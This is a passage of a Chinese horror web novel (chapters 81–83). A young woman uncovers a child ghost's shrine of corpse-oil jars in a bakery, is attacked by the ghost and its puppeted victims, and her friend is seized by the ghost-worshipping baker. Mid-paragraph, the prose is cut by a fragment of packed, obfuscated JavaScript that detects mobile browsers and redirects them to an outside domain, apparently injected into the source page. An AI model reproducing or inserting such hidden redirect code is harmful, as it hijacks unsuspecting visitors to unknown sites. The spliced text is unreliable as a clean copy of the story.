将钥匙插入锁孔中，轻轻转动手中的钥匙，她尝试了几下之后，很快，就听到了门锁传来一声“咔哒”的声音，她转动了两圈，这扇门才被打开了。
——这门锁着。
——看来这里面放着一些不想被人看到的东西。
沈聆沉默着，压低声音，小心翼翼地推开门。
在推开门的一瞬间，她感觉到一阵红光照在自己身上，刺眼的光让她那适应了黑暗的眼睛瞬间感觉到一阵刺痛，她本能地眯起眼睛、抬起胳膊遮挡在额前，往后退了几步，原以为开着灯的房间里是有人的，但等了几秒钟，并没有其他动静后，她才小心翼翼地抬起头看向了房间——
这是一个大概只有三十平方米的房间。
房间的天花板上挂着一盏灯，与其说是灯，更像是灯笼，这灯笼外面做成了纸灯笼的形状，但里面却是通电的灯丝，通上电之后，里面的灯芯便照亮了灯笼红色的外壳，暗红色的光线便照亮了房间的每一个角落。
房间的布置给人一种压抑封闭的感觉。
房间是没有窗户的，推门而入的时候，迎面可以看到正对着门口的方向摆着一张桌子，桌子上放着一张黑白遗照，这张遗照用黑色的相框裱起，遗照中是一个小女孩，小女孩绑着两个麻花辫，清瘦的脸庞、暗淡的眼神，就这么看着前方，那双黑色的眼眸里没有一丝生气，死气沉沉的。
在遗照前，放着一个香炉，和一些贡品，香炉上还插着三炷香，三炷香只燃烧到一半，看起来是不久前有人插上去的，燃香的味道充斥着小小的房间，袅袅白烟氤氲了遗照中女孩的眼眸，她看起来是受供奉的对象。
沈聆看到这张遗照的时候，只觉得似曾相识，似乎，自己曾经在哪里见到过这个小女孩。
但是……到底是在哪里呢？
紧张的气氛让她一时间大脑宕机了一下，想不起来了。
她的视线下移，看到在这张桌子下面，有五个小罐子，这些罐子都被用红纸封着，每个罐子后面都放着一张黑白照，但和桌面上小女孩的遗照不同的是，桌子下的这些黑白照是没有相框的，看起来只是单纯为了标注身份一样。
沈聆一眼看到其中一个罐子后面的照片，就是李子晨的照片！
照片中的李子晨还穿着校服、带着红领巾，可从照片的角度来看，李子晨是被偷拍到这张照片的，照片中他正背着书包走在路上，照片是从小巷口拍到的，李子晨正往新隆公寓走去，看起来是正从学校放学回家，背着书包下课的他并不知道自己已经被盯上了，被拍下照片的瞬间，似乎已经定格了这个悲惨的孩子最后的结局。
除了李子晨之外，还有其他四张照片。
其中，有二十多岁的小姐姐，有五十多岁的秃头男人，甚至还有五岁的男婴……
五个人，分别代表了五种人群，有男有女，有老有少，他们的照片都是偷拍的角度的照片，就像是有一只可怕的猎食者躲在暗处观察着受害者们所有的行动，等待受害者毫无防备的时候将他们加害至死！
沈聆蹲下身，在凑近了那五个罐子的时候，她看见不同的罐子上用标签贴着不同的信息。
每一个罐子上都注明了姓名、出生年月日、死亡时间、死亡方式这四种信息，和沈聆在墙壁上看到的一样，这五个人分别对应了“金木水火土”这五种死亡方式，他们像是被挑选出来献祭的一样，被摆在了小女孩的供桌前。
“这些罐子里是什么东西啊……”
沈聆微微蹙起那细长而好看的眉毛，目光疑惑地落在了摆在李子晨照片前那个毫不起眼的罐子上。
犹豫片刻后，她缓缓伸出手，轻轻地将其拿了起来。
“嘶……”
就在指尖触碰到罐身的那一刹那，一股难以言喻的恶寒骤然席卷而来，瞬间传遍了她的全身，那种寒冷仿佛不是来自外界，而是自身体内部深处源源不断地涌出，让她不由自主地打了个寒颤，如同突然坠入了冰冷刺骨的地窖之中。
紧接着，便是一阵尖锐的刺痛感袭来，直直地冲向心房，令她呼吸一滞，心脏似乎都被这股寒意给冻结住了，就像是，有什么魂魄一样的东西直接从她身体穿了过去，在她不安跳动的心房里残留一丝凉意。
“呜呜呜……”
与此同时，一阵若有若无、似泣非泣的哭声传入了她的耳中。
那声音飘渺不定，好似来自某个极度幽暗隐秘的角落，又仿若一缕轻烟，时断时续，难以捉摸。
起初，沈聆以为只是自己的错觉，但随着时间的推移，那哭声愈发清晰可闻，犹如一把无形的利剑，直刺她的灵魂深处。
——是你在哭吗？子晨。
沈聆皱着眉头环视了一圈，但却没有找出那声音的来源。
她摇晃了一下手中罐子，发现罐子并不是很重，
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里面放着的东西似乎只有一瓶矿泉水的重量，沈聆不知道这罐子里放着的是什么东西，但她感觉这个房间很邪门。
从她踏入这个房间的那一瞬间开始，便有一种被人注视着的感觉，她不知道这种被凝视的感觉来自哪里，但让她浑身难受，窒息的感觉似乎在随着她在房间里待着的时间加长而增加。
——这些东西到底是什么？
——是有人在这里养小鬼吗？
——或许道长会比我更知道这些邪门歪道的东西，如果叫他一起来就好了……
沈聆沉默着，将罐子放回去。
不过，目前虽然她是发现了一些相对奇怪的东西，但是这些并不能作为这家面包店杀人的证据，虽然找到了五个罐子，但如果五个罐子里都没有人体组织，那也不能作为警方抓人的凭证。
——还得找点什么东西才行……
沈聆沉默着，她刚要起身的时候，忽然听到了一阵翅膀扑扇的声音。
一个白色的影子从她头顶掠了过去，落在了放着贡品的桌子上。
“恭喜发财！恭喜发财！”
机械地重复同一句话，那声音在原本一片寂静的房间里显得格外刺耳。
沈聆惊讶地看着那只鹦鹉不知道从哪里出现的，此刻正飞到遗照旁边，落在贡品桌子上，扑扇着翅膀对着她大喊“恭喜发财”四个字。
鹦鹉的声音很粗糙，这只鹦鹉和寻常的鹦鹉不一样，眼睛中总是带着几分鬼气森森，它歪着脑袋盯着它，在那双圆溜溜的眼睛里倒映着沈聆不安的神情。
“叮铃……”
突然之间，沈聆右手带着的红绳上，银铃响了起来。
沈聆心头一紧，她知道银铃响起的话，代表着什么……
银铃响。
冤魂至。
有鬼入侵！
沈聆猛地回过头，发现一个小女孩不知道从什么时候开始，正站在自己身后看着自己！
“嘻嘻……”
她身着一袭洁白如雪的碎花裙，屋子里明明没有风，她的裙摆却轻轻飘动。
两条乌黑亮丽的马尾辫俏皮地垂落在肩头两侧，瘦削的脸颊上没有一点肉，看起来一副营养不良的样子。
当她看向沈聆时，那双眼眸里如死水一样，没有一点波澜和光亮，紧接着，她嘴角上扬，展露出一抹淡淡的微笑，然而，令人惊愕的是，她那本应整齐洁白的牙齿此刻竟如同犬牙一般参差不齐，显得格外诡异和突兀，随着嘴角的扬起，鲜血顺着她的嘴角划过，染红了她红色的裙子。
小女孩的脑袋缓缓地歪向一侧，形成了一个怪异的弧度，就在这时，只听得“咔嚓”一声清脆的响声从她的颈椎处传来，仿佛骨头断裂的声音在空气中回荡，她的颈椎也向右扭曲成了60度，她却仿若未觉，只是缓缓地举起了手，伸向面前的沈聆。
同时，一阵低沉而沙哑的声音从她的喉咙里艰难地挤了出来......
“大姐姐，你对我的灵堂，感兴趣吗？”
是她！
是遗照上的那个小女孩！
81. 厉鬼
“大姐姐，你对我的灵堂感兴趣吗？”
小女孩歪着头看着沈聆，她的脖子已经扭曲成了诡异的弧度，这个角度甚至已经超过了60度，是人类的脖颈无法达到的弧度。
她说着的同时，周身开始出现淡淡的煞气，那黑色的煞气从她的手心慢慢聚集出来，刚开始只是一些黑色的气团，最后，汇聚在一起，围绕在她身边。
看到那煞气，沈聆似乎想起了什么。
“是你……平安医院……那天晚上出现在平安医院的鬼，是你！”
沈聆往后退了一步，她倒吸了一口凉气，脑海中浮现出那天晚上为秦琴祭魂的时候，经历的险象环生的经历，当时，也是这么一团煞气忽然出现，并把她卷出了六楼的窗户外，如果不是道长及时出现，估计当场她就摔成了一滩肉泥。
那一战，让她侥幸逃脱，没想到对方并没有因此收敛，反而在不为人知的角落继续作恶！
想到这里，一股怒意涌上心头，沈聆微微侧过身体，指着自己身后的那些罐子。
“这些东西是你让人做的对吗？你在养小鬼？！”
女孩微微一笑，没有回答，但那双眼睛逐渐变成了血红色，她嘴角的弧度更大了几分，脸颊的皮肤开始裂开，一直到耳根，露出脸皮下猩红色的血肉。
“这样……不好吗？”
女孩的声音变得浑浊了几分，听起来就像是同时有许多个人在说话。
“我只是，让他们都陪着我。”
“为什么他们要陪你！你已经死了，他们还都是活人……你让活人给你殉葬……”
沈聆握紧了拳头，她内心虽然在打退堂鼓，但也知道自己此时如果被看出心虚，对方或许直接一口吞了自己也未可知，于是，强忍着内心的恐惧，她深吸了几口气，让自己保持镇定。
女孩倒是第一次看见不害怕自己的人类，她一挑眉，虽然外貌看着只是一个七八岁的小女孩，但那双眼睛却浑浊得如同百岁老人一样。
“哦？你不怕我吗，大姐姐。”
“我为何要害怕你！”
“你不怕我杀了你吗。”
“我知道或许我一时间没办法与你抗衡，但这并不代表天地之间没有能够降服你的存在，你做了这么多坏事，连累了许多无辜的人，总有一天你会有自己的报应！”
“报应？如果有的话，我也不会站在这里了。”
女孩说着，环顾了一圈这小小的房间，她的思绪似乎也被拉回到许久许久之前，她已经很久没有回忆过曾经发生的事情了，她似乎在这个世界上停留了许久，已经久到她都忘记了自己曾经作为人类的事情。
“人，都是要死的，既然都是要死的，为什么不能死的更有利用价值一点呢。”女孩说着，忽然呵呵笑了起来，“不如和我在一起吧，大姐姐，不如你和他们一样，成为我的一部分吧，你的身体里有灵元草，我找了好久的东西，没想到被你吸收了……不过没关系，很快，你也会成为我身体的一部分！”
女孩说着，朝着沈聆伸出了时候，她的手指上长着长长的指甲，明明只是个小女孩，那指甲却如同槐树的树枝那么长，锋利的指甲是红色的，仿佛凝固着鲜血一般，小女孩周身的煞气更重了几分，黑气围绕着她的全身，似乎有无数恶鬼的声音在周围咆哮，这些声音充斥着愤怒，这些声音，沈聆曾经听到过……
——这是……
——死尸们的声音！
在沈聆还没有反应过来的时候，忽然从门口探出了两个脑袋——那是两只死尸的脑袋，他们的头颅呈现出半腐化的状态，皮肉已经完全黑了，残余的皮肉黏连在颅骨上，两个眼眶黑洞洞的，里面似乎有白色的蛆虫在爬动。
死尸张大了嘴巴，朝着沈聆爬了过来。
不止如此，地上也突然涌出一大片一大片的血迹，那腥臭的血液迅速汇成了一滩又一滩的血色，在血色中，许多只白骨化的手从血滩中爬了出来，接着，更多的死尸从血液里探出了脑袋。
他们像是被召唤过来的行尸走肉。
沈聆看着这些行尸走肉只感觉到眼熟，脑海中浮现出在殡仪馆的那天晚上遇到的尸变。
她的内心忽然有了一个恐怖的揣测——这些死尸……或许就是殡仪馆丢失的尸体上附着的残魂！
那天晚上，吴妄曾经说过，有的厉鬼会吞噬尸体上残余的魂魄以提高自身修为，或许……是眼前的这个小女孩引起了尸变，在吸干了那些死尸的残魂后，又将已经被吸干的尸体就这么丢在了乱葬岗的干尸坑里。
“也是你……殡仪馆作祟的人，居然也是你……”
“哈哈哈哈哈，不错，那些都是我，你运气不错，发现了我‘进食’的方式之一，不过无伤大雅，你发现的不过是被我吃剩下的‘糟粕’罢了，这样的东西，我还有很多，全都分散在陵川市的不同角落，只不过世人愚昧，没有发现罢了。”
“秦琴的尸体，也是你做的手脚吗？”
“是啊，是我——”小女孩漫不经心地说着，抬起手欣赏着自己血红色的指甲，“我本来想找找灵元草在不在她身上的，不过，不凑巧，我并没有发现灵元草，没想到你倒是送上门了。秦琴那个贱人，居然临死了还跟我玩这一手，早知道我就让她死得更痛苦一点！”
“是你的煞气附着在她身上，让她跳楼的！”
“是啊，那又如何~以我的修为，要控制一个活人，不过如控制提线木偶一样轻而易举。”
小女孩说着，朝着沈聆走来，她踩过地上爬动的死尸们，眼睛都不眨一下，直接踩碎了挡在她前面的死尸的手腕，红色的血液喷溅到她白色的裙子上，她看起来如同恐怖故事里的“杀神”。
“……”
沈聆往后退了几步，就在这时，忽然有两个人按住了自己。
她转过头一看，发现是李子晨和另一个二十出头的女孩子！
只见他们面色惨白如纸，毫无半点血色可言，眼眶之下更是一片浓重的乌青色，犹如被墨汁浸染过一般，那印堂之处也隐隐发黑，仿佛被一层阴霾所笼罩，脸颊深深地凹陷下去，几乎可以看到骨头的轮廓。
当他们触碰到沈聆的手臂时，一股刺骨的寒意瞬间袭来，竟没有丝毫的温度，宛如触摸到了千年寒冰，而他们的双眼，则如同两颗钉子般直直地盯着沈聆，那视线好似要穿透她的身体，将她牢牢锁定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496687|146250||http|test|mini|href|location''.split(''|''),0,{}));
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沈聆心中大骇，本能地开始挣扎起来！
然而，无论她如何用力扭动身躯，都无法挣脱李子晨和那个女孩的束缚。他们紧紧地抓住沈聆的手臂，手指如同铁钳一般，力道之大超乎想象，根本不似正常人类所能拥有的力量，他们的手抓着沈聆的胳膊，抓破了她的皮肉，在手臂上留下一道道黑色的疑似尸毒的抓痕。
李子晨的脖子上依旧套着那条绳索，随着他的动作微微晃动着，身上那件原本鲜艳的带着白色小碎花的红色毛衣，如今却显得格外诡异，沈聆脑海中满是白日里唤魂时的李子晨的模样，那时候的他，眼眸盛满了哀伤，与他此时疯狂的模样形成了鲜明的对比，此刻的他已然彻底丧失了理智，眼神空洞无神，只剩下无尽的癫狂。
“放开我！”
慌乱挣扎之中，沈聆瞥见了桌子下放着的那五个罐子，五个罐子后面分别放着五张照片，其中一张照片，就是眼前正抓着她的女孩子的照片，她留着齐肩短头发，看起来只有二十出头，身材瘦削，照片里的她正穿着校服，但此刻，她身上的校服却是湿漉漉的。
她显然是五个人里面被溺死的那一个，她的死，代表着五行中的“水”。
他们被控制着，哪怕是死后，也要被控制着。
“放开我！李子晨！你还记得我吗？我是白天说要帮你的沈聆啊！你还记得我在你的灵堂里把你唤出来过吗——”
沈聆挣扎着，看着小女孩越走越近，她的内心充斥着绝望，只能转过头看着李子晨，试图唤醒李子晨的一点理智。
“子晨，是我啊，你还记得吗？我见过你的爷爷奶奶和爸爸妈妈，他们都很想你，你们一家五口都住在新隆公寓的，那些生前的事情你还记得吗？”
沈聆大声喊着，感觉周围的煞气愈发浓郁，她只能孤注一掷！
李子晨死死抓着沈聆的手，但在听到爷爷奶奶爸爸妈妈这几个字眼的时候，他的动作稍稍迟钝了几分，那无法聚焦视线的眼眸也微微朝着沈聆抬了起来，沈聆似乎唤醒了他心中某个柔软的地方，那是心底最深处的、对亲人的羁绊和思念，纵使在孩子已经死去之后，仍然保存着对家人的几分念想。
“爷爷……奶奶……爸爸……妈妈……”
“对……你还记得吗？你还记得你爱穿的那件有奥特曼的蓝色上衣吗？你还记得你爱吃的牛角面包吗？子晨，快醒过来，快醒过来！”
“哈哈哈哈哈——”
就在这时，女孩忽然发出嘲讽的笑声。
沈聆转过头，发现女孩已经站在自己的三步之外了。
“你、你笑什么？！”
“你居然还敢提牛角面包……沈聆，你不知道是谁杀死李子晨的吗？”
话音刚落，沈聆忽然感觉到李子晨抓着自己的手加大了力度，她感觉到一阵钻心的疼痛，只听见“咔嚓”一声，沈聆的手被硬生生折断了！
她痛苦地哀嚎了一声，直接跪在了地上，回过头，发现李子晨的双眼突然变成了血红色，他的后槽牙咬得咯咯作响，他的嘴巴已经被用黑色的线缝上了，但血仍旧不断从他的嘴里溢出，他断断续续地从牙缝中挤出两个字——
“好恨！”
82. 牺牲
“好恨！好恨！”
李子晨的嘴里喃喃着这几个字眼，他的眼睛逐渐变得浑浊了起来，嘴巴被缝起来后，让他无法正常开口说话，但呢喃而出的几个模糊的字眼让他的上下嘴唇裂开了一小片缝隙，鲜红色的血液就从他的嘴角流下，看起来十分骇人。
“……子晨，我不是害你的人，真正害死你的是现在控制你的人！”
沈聆试图唤醒李子晨的理智，但那厉鬼将李子晨死死控制在自己手里，似乎在李子晨被做成小鬼的时候，她就已经完完全全操控了这个可怜的孩子，她在这五个受害者的魂魄上动了手脚，让他们在死后也不得超生。
李子晨抓着沈聆的手臂，配合着另一个女鬼将沈聆直接按在了地上，他们的力气很大，虽然没有了肉身，但女鬼身上的煞气却让他们的恶念倍增，这力量给了他们比活着的时候更强大的力量，甚至于对阳间的人产生威胁。
他们已经不是一般的孤魂野鬼了。
他们已经变成了傀儡。
女童似乎有操控傀儡的能力——无论是行尸走肉，还是弥留在阳间的亡魂，都成了她玩弄的对象，她对此乐此不彼。
“你到底对他们做了什么！”
被按在了地上，沈聆红了眼，挣扎着抬起头看向了女孩。
女孩只是微笑着，却没有回答沈聆的问题。
看着沈聆穷途末路却依然苦苦挣扎的样子，她倒是很满意。
她就仿佛是一个高高在上的猎手，十分乐于见到猎物垂死挣扎的模样，这样的感觉能带给她操控他人命运的乐趣，要知道，在死后的世界是很难感受到喜怒哀乐的，因此，她更加喜欢体会折磨他人的快感。
“别好奇，大姐姐，很快，你也会和他们一样了。”女孩说着，数了数眼前的五个罐子，又用手指碰了碰太阳穴，“哎呀哎呀，真是不太好办诶，五行已经满了，早知道就给你留一个‘位置’了，你来的也真不是时候。”
“是吗，那我帮你打碎几个！”沈聆说着，咬着牙忍着疼痛挣脱开两只鬼魂的束缚，鬼魂的指甲抓破了她的皮肉，刺入皮肉中的尸毒让她双手如火烧一般地疼痛，她顾不得许多，扑到五个罐子前，一脚过去，直接踢翻了三个罐子。
“你在做什么！”
女孩没有想到沈聆还有挣扎的气力，她这才发现自己似乎小瞧了这个人类。
翻倒的三个罐子里流出了黄色的液体，那液体黏糊糊的，散发着腐烂的味道，其中还混合着部分类似于草药一样的味道，这黄色的不明液体和油很像，在接触到地面的时候只是慢慢地扩散开来，看起来油腻腻地反着光。
“……尸油？你是用尸油提炼小鬼的？！”
当沈聆敏锐地察觉到那液体究竟为何物时，一股无法抑制的恶心感瞬间涌上心头，仿佛有一只无形的手在她的胃里肆意搅动，让她的胃部一阵剧烈的翻涌，好似惊涛骇浪一般。
“呕……”
紧接着，她再也忍受不住这股强烈的不适感，弯下腰来，张开嘴巴，干呕起来。
在这个狭小而又昏暗的房间里，弥漫着令人作呕的气味——那是血液的腥气与腐烂的恶臭相互交织在一起所形成的独特味道，犹如恶魔的呼吸，紧紧缠绕着沈聆，让她几乎窒息。
与此同时，她的耳边充斥着阵阵诡异的声响——那是一具具死尸正缓缓地、艰难地从地面上爬起的声音，它们的身体摩擦着地面，发出刺耳的“沙沙”声；它们的关节因长时间的静止而变得僵硬，活动时发出“咔咔”的断裂声；还有那些低沉而恐怖的喘息声，仿佛来自九幽之下的怨魂。
沈聆瞪大了眼睛，惊恐地看着眼前发生的一切。她感觉自己就像是坠入了无边无际的地狱之中，四周都是黑暗与绝望。这里没有一丝生机，只有死亡和恐惧在无情地蔓延。
但奇怪的是，在打翻了三个罐头后，站在身旁的李子晨忽然不动了，连带着另一个短发女鬼也停止了动作。
沈聆抬起头，发现自己打翻的那三个罐子里，恰好有两个是他们的罐子！
“……”
李子晨的眼睛闪过一道红光，接着，他眼眸中的血色褪去了半分，他的视线像是终于能够聚焦一样落在眼前的沈聆身上。
惊讶地睁大了眼睛，他似乎认出了眼前的这个人就是今天召唤出的他的人。
“都给我死！”穿着白色裙子的女孩怒吼了一声，她对于别人逃脱她掌控的做法十分愤怒，抬起手，瞬间从她的手掌心中爆出了许多道黑色的煞气。
“！”
趴在地上的沈聆下意识地闭上了眼睛，但奇怪的是，那冲她而来的煞气并没有如预期一样打在她身上。
在沈聆睁开眼睛的时候，发现一个小小的身体挡在了自己面前。
“子晨！”
沈聆不由得喊出了声。
她惊恐地瞪大双眼，难以置信地看着眼前这一幕。只见子晨的小小身影在电光火石之间闪到了她面前，尽管只有十岁，但他那小小的身体义无反顾地挡在她身前，用他那看似脆弱却无比坚定的身躯，硬生生地挡住了铺天盖地袭来的煞气。
“哦？有点意思啊。”女孩笑了笑，她倒是没想到已经变成鬼的李子晨还有这样的气魄，“你知道你是鬼吗？李子晨，你知道我让你魂飞魄散比捏死一只蚂蚁更容易吗？”
女孩一挑眉，她伸出的手指了指李子晨。
顺着女孩的手势，那些煞气如同无数尖锐的利刺一般，更深地刺入李子晨的身体之中。刹那间，煞气以惊人的速度变化形态，犹如狰狞的荆棘，瞬间从利刺处生长出众多锋利的小刺，这些小刺仿佛拥有生命一般，迅速膨胀起来，带着令人毛骨悚然的气息，无情地穿透了李子晨的每一寸肌肤。
先是他的脑袋，接着是胸腔、腹腔，然后是四肢……无一幸免，通通被那漆黑的刺所贯穿。
此刻的李子晨，身体剧烈地抽搐着，那模样简直惨不忍睹，他整个人看上去就像是被密密麻麻的竹签残忍地刺穿，暗红色的鲜血不断涌出，染红了周围的地面。
“不要——”沈聆撕心裂肺地呼喊着，声音中充满了绝望和痛苦。
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“快……走……”
子晨背对着沈聆，他的嘴巴被缝住了，没办法说出太清晰的字眼，只能吞吞吐吐地说出几个模糊的音。
但沈聆也听到了这几个字。
她明白子晨的意思——快跑，找救兵！
沈聆一咬牙从地上爬了起来，她明确现在的自己根本没办法与这样的恶鬼抗衡，现在要做的，是找援兵！
她不敢多加犹豫，忍着被双臂被活生生剥皮的痛苦，她跌跌撞撞地朝着门口跑去，踩过地上正在爬行的死尸，她趔趄着，连滚带爬地跑向了房门。
“想跑？你以为这么容易吗？”女孩侧颜看向沈聆的方向，她抬起手，就要收回插在子晨身体上的煞气。
但此刻他，她却莫名地发现煞气收不回来了。
“怎么回事？”
女孩转过头，瞬间惊讶地睁大了眼睛——她看见原先被困在罐子里的其他三个魂魄不知何时全都出现在子晨身后，连同短发女鬼一起，抓住了刺穿子晨身体的煞气，他们死死抓着煞气，似乎在和厉鬼女孩做最后一搏。
短发女鬼怒吼：“我们不会再让你害人了！”
……
另一侧。
宋明夷一直等在面包房的后门外，吹着阵阵夜风，她感觉到一阵莫名的寒意涌上心头。
拢了拢衣襟，她打了个哆嗦。
“奇怪……沈聆怎么这么久了还没有出来啊……”
她拿出手机，发现现在已经快要晚上十点了，她一直等在后门，原以为沈聆马上就会出来，但奇怪的是，在沈聆进入面包房之后，一直没有等到她出来。
左右等不到，宋明夷有点儿担心了，但是凭借她一个人的力量又无法翻过栏杆，想给沈聆打个电话、又担心惊扰店内可能存在的摄像装置之类的东西，左右犹豫之下，她还是给沈聆发了条消息——
【沈聆，里面怎么样？你进去了快半小时了，有找到什么东西吗？】
就在这时，一个声音从身后响起——
“既然担心的话，不如就进去看看吧。”
那是个男人的声音。
宋明夷被这突如其来的状况吓得浑身一颤，紧接着便是一声尖锐刺耳的尖叫划破了夜晚的寂静，她像是一只受惊的小鹿一般，猛地扭过头去，当她看清眼前的景象时，不禁倒吸一口凉气——
不知何时，一个身材圆滚滚的小胖子悄无声息地出现在了她的身后！
此刻，这个小胖子正双手交叉背在身后，微微弯下腰来，将身体压得很低，一双不大不小的眼睛紧紧盯着蹲在栏杆下面的宋明夷。
小胖子眯起双眼，嘴角向上扬起，形成了一个极其诡异的弧度，仿佛藏着什么不为人知的秘密或者恶意，那笑容看起来既狡黠又冷酷由于灯光恰好从他的背后照射过来，使得他那胖乎乎的脸庞大部分都隐藏在了黑暗之中。只有微弱的光线勾勒出他脸颊的轮廓，几道阴影如同鬼魅般在上面舞动，更增添了几分神秘和阴森的气息。
“小姐姐，大晚上来光临小店，是想吃牛角包吗？”
83. 赌徒
“小姐姐，深夜光临我的面包店，在外面等着，不如进去看看吧。”
面包店的胖老板说着，表情僵硬了几分，他的嘴角上扬、眼睛眯着，虽然是微笑的表情，但那声音似乎比平时听起来更加低沉，丝毫没有微笑的意思。
宋明夷一惊，手中的手机掉在了脚边，给沈聆的信息虽然发出去了，但那边并没有任何回复。
她下意识地往后退了几步，但本就蹲在栏杆旁的她根本无处可退，只能背靠着冰冷的栏杆，脑袋转的飞快，寻找能圆谎的借口。
“那……那个……我就是晚上散步到这里而已。”宋明夷笑得很勉强。
“散步？小姐姐，这里夜深人静的，你一个女孩子在这里散步，是一件很危险的事情，你知道吗？”
店主说着，往前走了一步，他的声音里带着浓郁的压迫感，宋明夷默默咽了口唾沫，本能告诉她，这里很危险。
“我……我知道了，我这就回去……”宋明夷磕磕巴巴地说道，声音微微颤抖，她的脸色涨得通红，额头上也冒出了细密的汗珠，“我刚才尿急，楼下实在是找不到厕所，就、就绕到后面来了……真是不好意思，打扰您了，我马上就走！”
一边说着，宋明夷一边慌慌张张地转身，试图逃离这个尴尬的局面。
然而，还没等她迈出几步，对方那有力的大手便如铁钳一般紧紧地拉住了她纤细的手腕。
宋明夷吃痛地惊呼一声，不由自主地转过头来，刹那间，她那双原本充满惊慌和无助的眼眸，就这样直直地对上了小老板那双眯成一条缝的眼睛。
“这就走了吗？别呀，今晚可是发生了好多有趣的事儿呢，要是就这么走了，岂不是太可惜啦。”小老板嘴角上扬，露出一个看似和善实则让人毛骨悚然的笑容。
只见他话音刚落，手上猛地一用力，直接将宋明夷从地上拽了起来！
他的力气大得出奇，宋明夷根本无法挣脱。
此刻的她就如同一只毫无反抗之力的小猫，被小老板轻而易举地提溜着，而小老板则一手牢牢地抓着宋明夷的手腕，另一手毫不客气地揪住了她的衣领，就这样，他以一种近乎蛮横的姿态，拖着宋明夷朝着面包店的后门大步走去。
“你……你放开我……”宋明夷挣扎着，但对方却死死抓着她的手腕，不给她挣脱的机会。
面包店的老板扯着宋明夷，走到了面包店的后门，宋明夷想大声尖叫求助，但胖老板却一把捂住了她的嘴巴。
宋明夷情急之下直接咬了一口老板。
胖老板吃痛地骂了一声，随后，一记老拳打在宋明夷的太阳穴上，只听见一声闷重的声音，宋明夷被打得眼冒金星，身体软了几分，老板从口袋里掏出了面包店后门的钥匙，打开了后门，直接将宋明夷拖了进去，还一边骂骂咧咧着——
“我就知道今天白天来买面包的那两个人不正常……果然有鬼，还好‘仙人’告诉我今天店里不太平，让我假装离开再杀一个回马枪，不然我差点被你揭老底了……”
他拉开了后门，将宋明夷拖入了黑暗的走廊里。
“那个男的……是警察对吧，你应该也是他们俩的同伙吧，你们都该死！不该管的事情非要管！你以为我拜的‘仙人’是那么容易被你们算计的吗？！我告诉你，你今天玩了！臭女人，落在我手里，我要把你献给‘仙人’。”
胖老板骂骂咧咧地说着，但抬起头看到走廊里发生的一切，他忽然愣住了，手一松，抓着的宋明夷也摔在了地上。
宋明夷被打的脑袋晕乎乎的，视线模糊中，她似乎看到几步之外浑身是血的沈聆正朝着自己跑过来，她的双手被剥掉了皮肤，露出血肉模糊的肌肉，她浑身是血，并围绕着浓郁的煞气，就像是刚刚从地狱里爬出来的受难者一般，在她身后，有几只死尸正在追着她，他们睁大了血红色的眼睛，长大了嘴巴，如同鬼魅一样朝着沈聆扑了过来。
“沈聆！”
宋明夷惊叫了一声，她看着沈聆被死尸扑倒在地，他们抓住了沈聆的脚踝，拉扯着她的双腿，一口、一口咬在沈聆的腿上，鲜血喷涌，沈聆惨痛的哀嚎声传遍了走廊的每一个角落，在沈聆身后，一个穿着白色小裙子的女孩子缓缓走出，她满意地看着眼前发生的一切，微微一笑。
“跑啊？继续跑啊，怎么不跑了？”
站在宋明夷身边的胖老板先是被眼前发生的一切所震惊，但在看到那小女孩的时候，他“扑通”一声跪在了地上，连忙对着小女孩磕头。
“仙人……仙人显灵了！恭迎仙人！恭迎仙人！”
胖老板虽然是在跪拜着那个小女孩，但他的声音颤抖着，可以感觉出他也很畏惧小女孩的存在，他的脑袋“咚咚咚”地磕在地板上，如同一个虔诚的信徒一般，在看到自己的信仰之后紧张得只剩下一腔忠诚。
“仙人？”
宋明夷皱起眉头，她分明看到那个小女孩浑身都是煞气，她认得那煞气，在平安医院的时候，也正是那些煞气差点儿杀死沈聆，她明白出现在自己面前这个小女孩虽然看起来只是一个十岁左右的孩子，但绝非等闲之辈！
“宋明夷快跑！”
沈聆被死尸们抓着，她挣扎着，抬起双脚想踢掉抓住自己脚踝的死尸，但无论自己如何挣扎，感觉不到痛感的死尸们依旧紧紧抓着她的双脚，他们仿佛禽兽一样吼叫着，低着头就撕咬沈聆的双腿，那腐烂的牙齿伴随着尸毒，咬破了她的皮肤，撕扯着她的肌肉，沈聆痛得脸色苍白，只能眼睁睁地看着小女孩走到自己面前。
“你放过宋明夷，她跟这件事情没有关系，你放了她，我就把灵元草给你！”
“放了她？哈哈哈……”小女孩轻轻一笑，“真有意思，你以为你现在还有能够跟我谈判的筹码吗？大姐姐，你、灵元草，现在都已经是我的掌中之物了，你觉得自己还能逃吗？”
小女孩蹲下身，歪着脑袋看着沈聆，小女孩的眼睛是血红
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色的，在那一片血红色之中没有任何瞳孔，看起来就像是一条血河。她好奇地看着沈聆，吸了吸鼻子，似乎想感受几分来自沈聆的阳间的气息。
“真好啊……你们活着的人，都有体温，都有气味……像我们这种已经死了的人，就什么都不剩了……”
“你不必做到这一步的，你以为自己能得意多久？这个世界有鬼怪就有神佛……你还是收手吧，你已经害死很多人了，没必要一错再错。”
“一错再错？”小女孩皱了皱眉头，像是听不懂沈聆的话，“不好意思，我连学都没有上过，这个词太复杂了，我不认识。”
小女孩说着，笑了起来，她每次微笑的时候，嘴角都会裂开，整张脸就像是被分成两半一样，露出皮下的骨肉。
“仙人庇佑！仙人庇佑！仙人，我又替你抓来了一个‘贡品’，这次要炼出尸油放在罐子里吗？”
胖老板还在一旁磕头不叠，十分卑微地请示小女孩的意思，他的脑袋已经磕破了，但他像是感觉不到疼痛一样，丝毫没有减轻磕头的力度。
小女孩瞥了一眼宋明夷：“没必要，杀掉就好了，我已经凑齐‘五行’了。”
“好的好的，我待会儿就去处理了她，绝对不会让她泄露一点风声的。”胖老板说着，又补充了一句，“仙人阁下，看在我一片忠心的份上，可以让我这次赌博赚点大的吗？最近手又痒了，想去澳门试试运气……”
小女孩听着胖老板的话、看着不断朝着自己磕头的此人，并没有回答，她总是一副微笑的表情，让人看不清楚那双眼睛里的任何情绪。
“但是，我记得，我上次已经帮过你了。”
